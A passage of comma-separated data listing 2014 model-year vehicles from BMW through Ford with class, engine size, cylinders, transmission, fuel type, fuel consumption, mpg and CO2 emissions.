COUPE,COMPACT,3,6,A8,Z,11.4,7.3,9.6,29,221 2014,BMW,435i COUPE,COMPACT,3,6,M6,Z,11.8,7.9,10,28,230 2014,BMW,435i xDRIVE COUPE,COMPACT,3,6,A8,Z,11.7,7.8,9.9,29,228 2014,BMW,435i xDRIVE COUPE,COMPACT,3,6,M6,Z,11.9,8.3,10.3,27,237 2014,BMW,528i,MID-SIZE,2,4,A8,Z,10.2,7,8.8,32,202 2014,BMW,528i xDRIVE,MID-SIZE,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,535d xDRIVE,MID-SIZE,3,6,A8,D,9.2,6.4,7.9,36,213 2014,BMW,535i xDRIVE,MID-SIZE,3,6,A8,Z,11.9,8,10.1,28,232 2014,BMW,535i xDRIVE GRAN TURISMO,FULL-SIZE,3,6,A8,Z,12.5,8.6,10.7,26,246 2014,BMW,550i xDRIVE,MID-SIZE,4.4,8,A8,Z,14.4,9.6,12.2,23,281 2014,BMW,550i xDRIVE GRAN TURISMO,FULL-SIZE,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,640i xDRIVE GRAN COUPE,COMPACT,3,6,A8,Z,11.9,8,10.1,28,232 2014,BMW,650i xDRIVE CABRIOLET,SUBCOMPACT,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,650i xDRIVE COUPE,COMPACT,4.4,8,A8,Z,14.4,9.6,12.2,23,281 2014,BMW,650i xDRIVE GRAN COUPE,COMPACT,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,740Li xDRIVE,FULL-SIZE,3,6,A8,Z,12.5,8.6,10.7,26,246 2014,BMW,750i xDRIVE,FULL-SIZE,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,750Li xDRIVE,FULL-SIZE,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,760Li,FULL-SIZE,6,12,A8,Z,18.7,11.5,15.5,18,356 2014,BMW,ACTIVEHYBRID 3,COMPACT,3,6,A8,Z,9.2,7.1,8.3,34,191 2014,BMW,ACTIVEHYBRID 5,MID-SIZE,3,6,A8,Z,10.5,7.9,9.3,30,214 2014,BMW,ACTIVEHYBRID 7L,FULL-SIZE,3,6,A8,Z,10.5,7.6,9.2,31,212 2014,BMW,ALPINA B7 xDRIVE LWB,FULL-SIZE,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,ALPINA B7 xDRIVE SWB,FULL-SIZE,4.4,8,A8,Z,15,9.8,12.7,22,292 2014,BMW,M5,MID-SIZE,4.4,8,AM7,Z,17.3,11.5,14.7,19,338 2014,BMW,M5,MID-SIZE,4.4,8,M6,Z,16.2,10.9,13.8,20,317 2014,BMW,M6,COMPACT,4.4,8,AM7,Z,17.3,11.5,14.7,19,338 2014,BMW,M6,COMPACT,4.4,8,M6,Z,16.2,10.9,13.8,20,317 2014,BMW,M6 CABRIOLET,SUBCOMPACT,4.4,8,AM7,Z,17.3,11.5,14.7,19,338 2014,BMW,M6 CABRIOLET,SUBCOMPACT,4.4,8,M6,Z,16.2,10.9,13.8,20,317 2014,BMW,M6 GRAN COUPE,COMPACT,4.4,8,AM7,Z,17.3,11.5,14.7,19,338 2014,BMW,M6 GRAN COUPE,COMPACT,4.4,8,M6,Z,16.2,10.9,13.8,20,317 2014,BMW,X1 xDRIVE28i,SUV - SMALL,2,4,A8,Z,10.6,7.2,9.1,31,209 2014,BMW,X1 xDRIVE35i,SUV - SMALL,3,6,A6,Z,13.2,8.9,11.3,25,260 2014,BMW,X3 xDRIVE28i,SUV - SMALL,2,4,A8,Z,11.2,8.5,10,28,230 2014,BMW,X3 xDRIVE35i,SUV - SMALL,3,6,A8,Z,12.6,9.1,11,26,253 2014,BMW,X5 xDRIVE35i,SUV - STANDARD,3,6,A8,Z,12.9,8.8,11.1,25,255 2014,BMW,X5 xDRIVE50i,SUV - STANDARD,4.4,8,A8,Z,16.3,10.9,13.9,20,320 2014,BMW,X6 M,SUV - STANDARD,4.4,8,A6,Z,18.1,13.7,16.1,18,370 2014,BMW,X6 xDRIVE35i,SUV - STANDARD,3,6,A8,Z,13.6,9.8,11.9,24,274 2014,BMW,X6 xDRIVE50i,SUV - STANDARD,4.4,8,A8,Z,16.4,11.3,14.1,20,324 2014,BMW,Z4 sDRIVE28i,TWO-SEATER,2,4,A8,Z,10.8,7.1,9.1,31,209 2014,BMW,Z4 sDRIVE28i,TWO-SEATER,2,4,M6,Z,10.4,6.7,8.7,32,200 2014,BMW,Z4 sDRIVE35i,TWO-SEATER,3,6,AM7,Z,13.7,10.1,12.1,23,278 2014,BMW,Z4 sDRIVE35i,TWO-SEATER,3,6,M6,Z,12.7,9,11,26,253 2014,BMW,Z4 sDRIVE35is,TWO-SEATER,3,6,AM7,Z,13.7,10.1,12.1,23,278 2014,BUICK,ENCLAVE,SUV - STANDARD,3.6,6,A6,X,14.3,9.9,12.3,23,283 2014,BUICK,ENCLAVE AWD,SUV - STANDARD,3.6,6,A6,X,14.6,10.2,12.6,22,290 2014,BUICK,ENCORE,SUV - SMALL,1.4,4,AS6,X,9.5,7.2,8.5,33,196 2014,BUICK,ENCORE AWD,SUV - SMALL,1.4,4,AS6,X,10.2,8,9.2,31,212 2014,BUICK,LACROSSE,MID-SIZE,3.6,6,AS6,X,13.7,8.7,11.5,25,264 2014,BUICK,LACROSSE,MID-SIZE,3.6,6,AS6,E,18.4,12.2,15.6,18,250 2014,BUICK,LACROSSE AWD,MID-SIZE,3.6,6,AS6,X,13.7,8.9,11.5,25,264 2014,BUICK,LACROSSE AWD,MID-SIZE,3.6,6,AS6,E,19.4,13,16.5,17,264 2014,BUICK,LACROSSE eASSIST,MID-SIZE,2.4,4,AS6,X,9.6,6.5,8.2,34,189 2014,BUICK,REGAL,MID-SIZE,2,4,AS6,Z,11.5,7.9,9.9,29,228 2014,BUICK,REGAL,MID-SIZE,2,4,M6,Z,11.6,7.5,9.8,29,225 2014,BUICK,REGAL AWD,MID-SIZE,2,4,AS6,Z,12.3,8.7,10.7,26,246 2014,BUICK,REGAL eASSIST,MID-SIZE,2.4,4,AS6,X,9.6,6.5,8.2,34,189 2014,BUICK,VERANO,COMPACT,2,4,AS6,Z,11.5,7.9,9.9,29,228 2014,BUICK,VERANO,COMPACT,2,4,M6,Z,11.6,7.5,9.8,29,225 2014,BUICK,VERANO,COMPACT,2.4,4,AS6,X,11.3,7.4,9.5,30,218 2014,CADILLAC,ATS,COMPACT,2,4,AS6,Z,11.3,7.5,9.6,29,221 2014,CADILLAC,ATS,COMPACT,2,4,M6,Z,12.1,7.9,10.2,28,235 2014,CADILLAC,ATS,COMPACT,2.5,4,AS6,X,10.5,7.2,9,31,207 2014,CADILLAC,ATS,COMPACT,3.6,6,AS6,X,12.8,8.5,10.9,26,251 2014,CADILLAC,ATS AWD,COMPACT,2,4,AS6,Z,11.8,8.1,10.1,28,232 2014,CADILLAC,ATS AWD,COMPACT,3.6,6,AS6,X,13.1,9,11.3,25,260 2014,CADILLAC,CTS COUPE,MID-SIZE,3.6,6,AS6,X,13.2,8.7,11.2,25,258 2014,CADILLAC,CTS COUPE AWD,MID-SIZE,3.6,6,AS6,X,13.3,9,11.4,25,262 2014,CADILLAC,CTS SEDAN,MID-SIZE,2,4,AS6,Z,11.9,7.9,10.1,28,232 2014,CADILLAC,CTS SEDAN,MID-SIZE,3.6,6,AS8,X,12.9,8.2,10.8,26,248 2014,CADILLAC,CTS SEDAN AWD,MID-SIZE,2,4,AS6,Z,12.6,8.5,10.8,26,248 2014,CADILLAC,CTS SEDAN AWD,MID-SIZE,3.6,6,AS6,X,13.1,9,11.3,25,260 2014,CADILLAC,CTS SEDAN Vsport,MID-SIZE,3.6,6,AS8,Z,15.1,9.9,12.8,22,294 2014,CADILLAC,CTS SPORT WAGON,STATION WAGON - SMALL,3,6,AS6,X,12.7,8.9,11,26,253 2014,CADILLAC,CTS SPORT WAGON,STATION WAGON - SMALL,3.6,6,AS6,X,13.3,8.9,11.3,25,260 2014,CADILLAC,CTS SPORT WAGON AWD,STATION WAGON - SMALL,3,6,AS6,X,12.8,9.1,11.1,25,255 2014,CADILLAC,CTS SPORT WAGON AWD,STATION WAGON - SMALL,3.6,6,AS6,X,13.3,9,11.4,25,262 2014,CADILLAC,CTS-V COUPE,MID-SIZE,6.2,8,AS6,Z,19.7,12.9,16.6,17,382 2014,CADILLAC,CTS-V COUPE,MID-SIZE,6.2,8,M6,Z,16.7,12.5,14.8,19,340 2014,CADILLAC,CTS-V SEDAN,MID-SIZE,6.2,8,AS6,Z,19.7,12.9,16.6,17,382 2014,CADILLAC,CTS-V SEDAN,MID-SIZE,6.2,8,M6,Z,16.7,12.5,14.8,19,340 2014,CADILLAC,CTS-V SPORT WAGON,STATION WAGON - SMALL,6.2,8,AS6,Z,19.7,12.9,16.6,17,382 2014,CADILLAC,CTS-V SPORT WAGON,STATION WAGON - SMALL,6.2,8,M6,Z,16.7,12.5,14.8,19,340 2014,CADILLAC,ESCALADE AWD,SUV - STANDARD,6.2,8,A6,Z,17,11.8,14.7,19,338 2014,CADILLAC,ESCALADE AWD,SUV - STANDARD,6.2,8,A6,E,23.3,16.1,20.1,14,322 2014,CADILLAC,ESCALADE ESV AWD,SUV - STANDARD,6.2,8,A6,Z,18.8,13.4,16.4,17,377 2014,CADILLAC,ESCALADE ESV AWD,SUV - STANDARD,6.2,8,A6,E,25.7,17.8,22.1,13,354 2014,CADILLAC,SRX,SUV - STANDARD,3.6,6,AS6,X,14.3,9.8,12.3,23,283 2014,CADILLAC,SRX AWD,SUV - STANDARD,3.6,6,AS6,X,14.8,10.4,12.8,22,294 2014,CADILLAC,XTS,FULL-SIZE,3.6,6,AS6,X,13.6,8.6,11.4,25,262 2014,CADILLAC,XTS AWD,FULL-SIZE,3.6,6,AS6,X,14,9.1,11.8,24,271 2014,CADILLAC,XTS Vsport AWD,FULL-SIZE,3.6,6,AS6,Z,14.8,9.8,12.6,22,290 2014,CHEVROLET,CAMARO,COMPACT,3.6,6,AS6,X,13.2,8.7,11.2,25,258 2014,CHEVROLET,CAMARO,COMPACT,3.6,6,M6,X,14.2,8.6,11.7,24,269 2014,CHEVROLET,CAMARO 2LS,COMPACT,3.6,6,AS6,X,12.7,7.9,10.5,27,242 2014,CHEVROLET,CAMARO SS,COMPACT,6.2,8,AS6,Z,15.3,9.8,12.8,22,294 2014,CHEVROLET,CAMARO SS,COMPACT,6.2,8,M6,Z,15,9.9,12.7,22,292 2014,CHEVROLET,CAMARO ZL1,COMPACT,6.2,8,AS6,Z,19.7,12.9,16.6,17,382 2014,CHEVROLET,CAMARO ZL1,COMPACT,6.2,8,M6,Z,16.7,12.5,14.8,19,340 2014,CHEVROLET,CORVETTE,TWO-SEATER,6.2,8,AS6,Z,14.9,8.5,12,24,276 2014,CHEVROLET,CORVETTE,TWO-SEATER,6.2,8,M7,Z,13.7,8.2,11.2,25,258 2014,CHEVROLET,CRUZE,MID-SIZE,1.4,4,AS6,X,9.1,6.3,7.8,36,179 2014,CHEVROLET,CRUZE,MID-SIZE,1.4,4,M6,X,9.1,6.3,7.8,36,179 2014,CHEVROLET,CRUZE,MID-SIZE,1.8,4,AS6,X,10.5,6.7,8.8,32,202 2014,CHEVROLET,CRUZE,MID-SIZE,1.8,4,M6,X,9.5,6.5,8.2,34,189 2014,CHEVROLET,CRUZE DIESEL,MID-SIZE,2,4,AS6,D,8.7,5.1,7.1,40,192 2014,CHEVROLET,CRUZE ECO,MID-SIZE,1.4,4,A6,X,9.1,6,7.7,37,177 2014,CHEVROLET,CRUZE ECO,MID-SIZE,1.4,4,M6,X,8.4,5.6,7.1,40,163 2014,CHEVROLET,EQUINOX,SUV - SMALL,2.4,4,A6,X,10.5,7.3,9.1,31,209 2014,CHEVROLET,EQUINOX,SUV - SMALL,3.6,6,A6,X,13.9,9.6,12,24,276 2014,CHEVROLET,EQUINOX,SUV - SMALL,3.6,6,A6,E,18.8,13.1,16.2,17,259 2014,CHEVROLET,EQUINOX AWD,SUV - SMALL,2.4,4,A6,X,11.5,8.2,10,28,230 2014,CHEVROLET,EQUINOX AWD,SUV - SMALL,3.6,6,A6,X,14.8,9.9,12.6,22,290 2014,CHEVROLET,EQUINOX AWD,SUV - SMALL,3.6,6,A6,E,19.8,13.6,17,17,272 2014,CHEVROLET,EXPRESS 1500 CARGO,VAN - CARGO,4.3,6,A4,X,17.1,12.7,15.1,19,347 2014,CHEVROLET,EXPRESS 1500 CARGO,VAN - CARGO,5.3,8,A4,X,18,13.4,15.9,18,366 2014,CHEVROLET,EXPRESS 1500 CARGO,VAN - CARGO,5.3,8,A4,E,23.5,17.7,20.9,14,334 2014,CHEVROLET,EXPRESS 1500 CARGO AWD,VAN - CARGO,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,CHEVROLET,EXPRESS 1500 CARGO AWD,VAN - CARGO,5.3,8,A4,E,23.7,18.8,21.5,13,344 2014,CHEVROLET,EXPRESS 1500 CARGO CONV,VAN - CARGO,5.3,8,A4,X,18.6,13.9,16.5,17,380 2014,CHEVROLET,EXPRESS 1500 CARGO CONV,VAN - CARGO,5.3,8,A4,E,23.9,18.5,21.5,13,344 2014,CHEVROLET,EXPRESS 1500 CARGO CONV AWD,VAN - CARGO,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,CHEVROLET,EXPRESS 1500 CARGO CONV AWD,VAN - CARGO,5.3,8,A4,E,25.3,19.3,22.6,12,362 2014,CHEVROLET,EXPRESS 1500 PASSENGER,VAN - PASSENGER,5.3,8,A4,X,18.6,13.9,16.5,17,380 2014,CHEVROLET,EXPRESS 1500 PASSENGER,VAN - PASSENGER,5.3,8,A4,E,23.9,18.5,21.5,13,344 2014,CHEVROLET,EXPRESS 1500 PASSENGER AWD,VAN - PASSENGER,5.3,8,A4,X,18.3,14.2,16.5,17,380 2014,CHEVROLET,EXPRESS 1500 PASSENGER AWD,VAN - PASSENGER,5.3,8,A4,E,25.3,19.3,22.6,12,362 2014,CHEVROLET,EXPRESS 2500 PASSENGER,VAN - PASSENGER,4.8,8,A6,X,21.1,14.2,18,16,414 2014,CHEVROLET,EXPRESS 2500 PASSENGER,VAN - PASSENGER,6,8,A6,X,21.9,15,18.8,15,432 2014,CHEVROLET,EXPRESS 2500 PASSENGER,VAN - PASSENGER,6,8,A6,E,30,20.4,25.7,11,411 2014,CHEVROLET,EXPRESS 3500 PASSENGER,VAN - PASSENGER,4.8,8,A6,X,21.3,14.3,18.2,16,419 2014,CHEVROLET,EXPRESS 3500 PASSENGER,VAN - PASSENGER,6,8,A6,X,22.1,15,18.9,15,435 2014,CHEVROLET,EXPRESS 3500 PASSENGER,VAN - PASSENGER,6,8,A6,E,30.2,20.5,25.8,11,413 2014,CHEVROLET,IMPALA,FULL-SIZE,2.5,4,AS6,X,11.3,7.5,9.6,29,221 2014,CHEVROLET,IMPALA,FULL-SIZE,3.6,6,AS6,X,12.6,8.2,10.6,27,244 2014,CHEVROLET,IMPALA,FULL-SIZE,3.6,6,AS6,E,16.7,11.3,14.3,20,229 2014,CHEVROLET,IMPALA ECO,FULL-SIZE,2.4,4,AS6,X,10,7,8.7,32,200 2014,CHEVROLET,MALIBU,MID-SIZE,2,4,AS6,Z,11.5,7.9,9.9,29,228 2014,CHEVROLET,MALIBU,MID-SIZE,2.5,4,AS6,X,9.3,6.4,8,35,184 2014,CHEVROLET,ORLANDO,SUV - SMALL,2.4,4,AS6,X,12.2,8.6,10.6,27,244 2014,CHEVROLET,ORLANDO,SUV - SMALL,2.4,4,M6,X,11.8,8.3,10.2,28,235 2014,CHEVROLET,SILVERADO,PICKUP TRUCK - STANDARD,4.3,6,A6,X,13.4,9.9,11.8,24,271 2014,CHEVROLET,SILVERADO,PICKUP TRUCK - STANDARD,4.3,6,A6,E,18.9,14.2,16.8,17,269 2014,CHEVROLET,SILVERADO,PICKUP TRUCK - STANDARD,5.3,8,A6,X,14.6,10.3,12.7,22,292 2014,CHEVROLET,SILVERADO,PICKUP TRUCK - STANDARD,5.3,8,A6,E,19.5,13.7,16.9,17,270 2014,CHEVROLET,SILVERADO,PICKUP TRUCK - STANDARD,6.2,8,A6,Z,16.3,11.4,14.1,20,324 2014,CHEVROLET,SILVERADO 4WD,PICKUP TRUCK - STANDARD,4.3,6,A6,X,14.2,10.6,12.6,22,290 2014,CHEVROLET,SILVERADO 4WD,PICKUP TRUCK - STANDARD,4.3,6,A6,E,20,15.1,17.8,16,285 2014,CHEVROLET,SILVERADO 4WD,PICKUP TRUCK - STANDARD,5.3,8,A6,X,14.9,10.6,13,22,299 2014,CHEVROLET,SILVERADO 4WD,PICKUP TRUCK - STANDARD,5.3,8,A6,E,19.9,14.2,17.3,16,277 2014,CHEVROLET,SILVERADO 4WD,PICKUP TRUCK - STANDARD,6.2,8,A6,Z,16.4,11.7,14.3,20,329 2014,CHEVROLET,SONIC,COMPACT,1.4,4,AS6,X,9.1,6.7,8,35,184 2014,CHEVROLET,SONIC,COMPACT,1.4,4,M6,X,8.5,6.2,7.5,38,173 2014,CHEVROLET,SONIC,COMPACT,1.8,4,AS6,X,9.6,6.6,8.3,34,191 2014,CHEVROLET,SONIC,COMPACT,1.8,4,M5,X,8.9,6.7,7.9,36,182 2014,CHEVROLET,SONIC 5,MID-SIZE,1.4,4,AS6,X,9.1,6.7,8,35,184 2014,CHEVROLET,SONIC 5,MID-SIZE,1.4,4,M6,X,8.5,6.2,7.5,38,172 2014,CHEVROLET,SONIC 5,MID-SIZE,1.8,4,AS6,X,9.6,6.6,8.3,34,191 2014,CHEVROLET,SONIC 5,MID-SIZE,1.8,4,M5,X,8.9,6.7,7.9,36,182 2014,CHEVROLET,SONIC 5 RS,MID-SIZE,1.4,4,AS6,X,9.4,7,8.3,34,191 2014,CHEVROLET,SONIC 5 RS,MID-SIZE,1.4,4,M6,X,8.7,7,7.9,36,182 2014,CHEVROLET,SONIC RS,COMPACT,1.4,4,AS6,X,9.4,7,8.3,34,191 2014,CHEVROLET,SONIC RS,COMPACT,1.4,4,M6,X,8.7,7,7.9,36,182 2014,CHEVROLET,SPARK,SUBCOMPACT,1.2,4,AV,X,7.7,6,6.9,41,159 2014,CHEVROLET,SPARK,SUBCOMPACT,1.2,4,M5,X,7.6,6,6.9,41,159 2014,CHEVROLET,SUBURBAN,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,CHEVROLET,SUBURBAN,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,CHEVROLET,SUBURBAN 4WD,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,CHEVROLET,SUBURBAN 4WD,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,CHEVROLET,TAHOE,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,CHEVROLET,TAHOE,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,CHEVROLET,TAHOE 4WD,SUV - STANDARD,5.3,8,A6,X,16,11.1,13.8,20,317 2014,CHEVROLET,TAHOE 4WD,SUV - STANDARD,5.3,8,A6,E,21.5,14.6,18.4,15,294 2014,CHEVROLET,TRAVERSE,SUV - STANDARD,3.6,6,A6,X,14.3,9.9,12.3,23,283 2014,CHEVROLET,TRAVERSE AWD,SUV - STANDARD,3.6,6,A6,X,14.6,10.2,12.6,22,290 2014,CHEVROLET,TRAX,SUV - SMALL,1.4,4,AS6,X,9.4,7.1,8.4,34,193 2014,CHEVROLET,TRAX,SUV - SMALL,1.4,4,M6,X,9.1,6.8,8.1,35,186 2014,CHEVROLET,TRAX AWD,SUV - SMALL,1.4,4,AS6,X,10,7.8,9,31,207 2014,CHRYSLER,300,FULL-SIZE,3.6,6,A8,X,12.4,7.7,10.3,27,237 2014,CHRYSLER,200 CONVERTIBLE,COMPACT,2.4,4,A4,X,11.7,8.2,10.1,28,232 2014,CHRYSLER,200 CONVERTIBLE,COMPACT,2.4,4,A6,X,12.9,8.1,10.7,26,246 2014,CHRYSLER,200 CONVERTIBLE FFV,COMPACT,3.6,6,A6,X,12.5,8.1,10.5,27,242 2014,CHRYSLER,200 CONVERTIBLE FFV,COMPACT,3.6,6,A6,E,17,11.2,14.4,20,230 2014,CHRYSLER,200 SEDAN,MID-SIZE,2.4,4,A4,X,11.2,8,9.8,29,225 2014,CHRYSLER,200 SEDAN,MID-SIZE,2.4,4,A6,X,12,7.6,10,28,230 2014,CHRYSLER,200 SEDAN FFV,MID-SIZE,3.6,6,A6,X,12.5,8.1,10.5,27,242 2014,CHRYSLER,200 SEDAN FFV,MID-SIZE,3.6,6,A6,E,17,11.2,14.4,20,230 2014,CHRYSLER,300 (MDS),FULL-SIZE,5.7,8,A5,X,15.8,9.2,12.8,22,294 2014,CHRYSLER,300 AWD,FULL-SIZE,3.6,6,A8,X,12.8,8.6,10.9,26,251 2014,CHRYSLER,300 AWD (MDS),FULL-SIZE,5.7,8,A5,X,16.1,10,13.4,21,308 2014,CHRYSLER,300 AWD FFV,FULL-SIZE,3.6,6,A8,X,12.8,8.6,10.9,26,251 2014,CHRYSLER,300 AWD FFV,FULL-SIZE,3.6,6,A8,E,17.3,11.7,14.8,19,237 2014,CHRYSLER,300 FFV,FULL-SIZE,3.6,6,A8,X,12.4,7.7,10.3,27,237 2014,CHRYSLER,300 FFV,FULL-SIZE,3.6,6,A8,E,16.8,10.3,13.9,20,222 2014,CHRYSLER,300 SRT (MDS),FULL-SIZE,6.4,8,A5,Z,16.7,10.3,13.8,20,317 2014,CHRYSLER,TOWN & COUNTRY FFV,MINIVAN,3.6,6,A6,X,14.1,9.5,12,24,276 2014,CHRYSLER,TOWN & COUNTRY FFV,MINIVAN,3.6,6,A6,E,19.7,13.3,16.8,17,269 2014,DODGE,AVENGER,MID-SIZE,2.4,4,A4,X,11.2,8,9.8,29,225 2014,DODGE,AVENGER,MID-SIZE,2.4,4,A6,X,12,7.6,10,28,230 2014,DODGE,AVENGER FFV,MID-SIZE,3.6,6,A6,X,12.5,8.1,10.5,27,242 2014,DODGE,AVENGER FFV,MID-SIZE,3.6,6,A6,E,17,11.2,14.4,20,230 2014,DODGE,CHALLENGER,MID-SIZE,3.6,6,A5,X,13.2,8.7,11.2,25,258 2014,DODGE,CHALLENGER,MID-SIZE,5.7,8,M6,X,15.6,10,13.1,22,301 2014,DODGE,CHALLENGER (MDS),MID-SIZE,5.7,8,A5,X,15.8,9.2,12.8,22,294 2014,DODGE,CHALLENGER SRT,MID-SIZE,6.4,8,M6,Z,16.8,10.4,13.9,20,320 2014,DODGE,CHALLENGER SRT (MDS),MID-SIZE,6.4,8,A5,Z,16.7,10.3,13.8,20,317 2014,DODGE,CHARGER,FULL-SIZE,3.6,6,A5,X,13.2,8.7,11.2,25,258 2014,DODGE,CHARGER,FULL-SIZE,3.6,6,A8,X,12.4,7.7,10.3,27,237 2014,DODGE,CHARGER (MDS),FULL-SIZE,5.7,8,A5,X,15.8,9.2,12.8,22,294 2014,DODGE,CHARGER AWD,FULL-SIZE,3.6,6,A8,X,12.8,8.6,10.9,26,251 2014,DODGE,CHARGER AWD (MDS),FULL-SIZE,5.7,8,A5,X,16.1,10,13.4,21,308 2014,DODGE,CHARGER AWD FFV,FULL-SIZE,3.6,6,A8,X,12.8,8.6,10.9,26,251 2014,DODGE,CHARGER AWD FFV,FULL-SIZE,3.6,6,A8,E,17.3,11.7,14.8,19,237 2014,DODGE,CHARGER FFV,FULL-SIZE,3.6,6,A5,X,13.2,8.7,11.2,25,258 2014,DODGE,CHARGER FFV,FULL-SIZE,3.6,6,A5,E,18.3,12.6,15.7,18,251 2014,DODGE,CHARGER FFV,FULL-SIZE,3.6,6,A8,X,12.3,7.6,10.2,28,235 2014,DODGE,CHARGER FFV,FULL-SIZE,3.6,6,A8,E,16.8,10.3,13.9,20,222 2014,DODGE,CHARGER SRT (MDS),FULL-SIZE,6.4,8,A5,Z,16.7,10.3,13.8,20,317 2014,DODGE,DART,MID-SIZE,2,4,M6,X,9.4,6.5,8.1,35,186 2014,DODGE,DART,MID-SIZE,2.4,4,A6,X,10.1,6.8,8.6,33,198 2014,DODGE,DART,MID-SIZE,2.4,4,M6,X,10.5,6.7,8.8,32,202 2014,DODGE,DART FFV,MID-SIZE,2,4,A6,X,9.9,7,8.6,33,198 2014,DODGE,DART FFV,MID-SIZE,2,4,A6,E,14.2,9.8,12.2,23,195 2014,DODGE,DART GT,MID-SIZE,2.4,4,A6,X,10.6,7.5,9.2,31,212 2014,DODGE,DART GT,MID-SIZE,2.4,4,M6,X,10.2,7,8.8,32,202 2014,DODGE,DART TURBO AERO,MID-SIZE,1.4,4,AM6,X,8.4,5.9,7.3,39,168 2014,DODGE,DART TURBO AERO,MID-SIZE,1.4,4,M6,X,8.5,5.8,7.3,39,168 2014,DODGE,DURANGO AWD (MDS),SUV - STANDARD,5.7,8,A8,X,17.3,10.8,14.4,20,331 2014,DODGE,DURANGO AWD FFV,SUV - STANDARD,3.6,6,A8,X,13.9,9.8,12.1,23,278 2014,DODGE,DURANGO AWD FFV,SUV - STANDARD,3.6,6,A8,E,17.7,13,15.6,18,250 2014,DODGE,GRAND CARAVAN FFV,MINIVAN,3.6,6,A6,X,13.7,9.4,11.8,24,271 2014,DODGE,GRAND CARAVAN FFV,MINIVAN,3.6,6,A6,E,19.2,13.1,16.5,17,264 2014,DODGE,JOURNEY,SUV - SMALL,2.4,4,A4,X,12.7,9.1,11.1,25,255 2014,DODGE,JOURNEY AWD,SUV - SMALL,3.6,6,A6,X,14.5,9.9,12.4,23,285 2014,DODGE,JOURNEY FFV,SUV - SMALL,3.6,6,A6,X,14.2,9.4,12,24,276 2014,DODGE,JOURNEY FFV,SUV - SMALL,3.6,6,A6,E,18.9,12.9,16.2,17,259 2014,FIAT,500 ABARTH CABRIO,MINICOMPACT,1.4,4,M5,X,8.5,6.9,7.8,36,179 2014,FIAT,500 ABARTH HATCHBACK,MINICOMPACT,1.4,4,M5,X,8.5,6.9,7.8,36,179 2014,FIAT,500 CABRIO,MINICOMPACT,1.4,4,A6,X,8.7,6.9,7.9,36,182 2014,FIAT,500 CABRIO,MINICOMPACT,1.4,4,M5,X,7.9,6.3,7.2,39,166 2014,FIAT,500 CABRIO TURBO,MINICOMPACT,1.4,4,M5,X,8.5,6.9,7.8,36,179 2014,FIAT,500 HATCHBACK,MINICOMPACT,1.4,4,A6,X,8.7,6.9,7.9,36,182 2014,FIAT,500 HATCHBACK,MINICOMPACT,1.4,4,M5,X,7.6,5.9,6.8,42,156 2014,FIAT,500 HATCHBACK TURBO,MINICOMPACT,1.4,4,M5,X,8.5,6.9,7.8,36,179 2014,FIAT,500L TURBO,STATION WAGON - SMALL,1.4,4,AM6,X,10,7.2,8.7,32,200 2014,FIAT,500L TURBO,STATION WAGON - SMALL,1.4,4,M6,X,9.3,7.2,8.4,34,193 2014,FORD,C-MAX HYBRID,FULL-SIZE,2,4,AV,X,5.6,6.4,6,47,138 2014,FORD,E150 VAN FFV,VAN - CARGO,4.6,8,A4,X,17.7,14.4,16.2,17,373 2014,FORD,E150 VAN FFV,VAN - CARGO,4.6,8,A4,E,24.1,19.2,21.9,13,350 2014,FORD,E150 VAN FFV,VAN - CARGO,5.4,8,A4,X,19.3,14.7,17.2,16,396 2014,FORD,E150 VAN FFV,VAN - CARGO,5.4,8,A4,E,24.9,19.6,22.5,13,360 2014,FORD,E150 WAGON FFV,VAN - PASSENGER,4.6,8,A4,X,18.6,14.6,16.8,17,386 2014,FORD,E150 WAGON FFV,VAN - PASSENGER,4.6,8,A4,E,25.5,20,23,12,368 2014,FORD,E350 WAGON,VAN - PASSENGER,6.8,10,A5,X,23.9,17.8,21.2,13,488 2014,FORD,E350 WAGON FFV,VAN - PASSENGER,5.4,8,A4,X,20.6,15.5,18.3,15,421 2014,FORD,E350 WAGON FFV,VAN - PASSENGER,5.4,8,A4,E,26.7,20.5,23.9,12,382 2014,FORD,EDGE,SUV - SMALL,2,4,A6,X,11.3,7.9,9.8,29,225 2014,FORD,EDGE,SUV - SMALL,3.5,6,AS6,X,12.6,8.7,10.8,26,248 2014,FORD,EDGE AWD,SUV - SMALL,3.5,6,AS6,X,13.3,9.3,11.5,25,264 2014,FORD,EDGE AWD,SUV - SMALL,3.7,6,AS6,X,13.7,10.4,12.2,23,281 2014,FORD,ESCAPE,SUV - SMALL,1.6,4,AS6,X,10.4,7.4,9.1,31,209 2014,FORD,ESCAPE,SUV - SMALL,2,4,AS6,X,10.9,8,9.6,29,221 2014,FORD,ESCAPE,SUV - SMALL,2.5,4,AS6,X,10.9,7.5,9.4,30,216 2014,FORD,ESCAPE AWD,SUV - SMALL,1.6,4,AS6,X,10.5,7.9,9.3,30,214 2014,FORD,ESCAPE AWD,SUV - SMALL,2,4,AS6,X,11.2,8.5,10,28,230 2014,FORD,EXPEDITION 4X4 FFV,SUV - STANDARD,5.4,8,A6,X,18.2,13.3,16,18,368 2014,FORD,EXPEDITION 4X4 FFV,SUV - STANDARD,5.4,8,A6,E,24.5,18,21.6,13,346 2014,FORD,EXPLORER,SUV - STANDARD,2,4,A6,X,11.8,8.3,10.2,28,235 2014,FORD,EXPLORER AWD,SUV - STANDARD,3.5,6,AS6,X,14.8,10.7,13,22,299 2014,FORD,EXPLORER FFV,SUV - STANDARD,3.5,6,AS6,X,13.7,9.7,11.9,24,274 2014,FORD,EXPLORER FFV,SUV - STANDARD,3.5,6,AS6,E,18.3,12.9,15.9,18,254 2014,FORD,EXPLORER FFV AWD,SUV - STANDARD,3.5,6,AS6,X,14.3,10.3,12.5,23,288 2014,FORD,EXPLORER FFV AWD,SUV - STANDARD,3.5,6,AS6,E,18.9,13.9,16.7,17,267 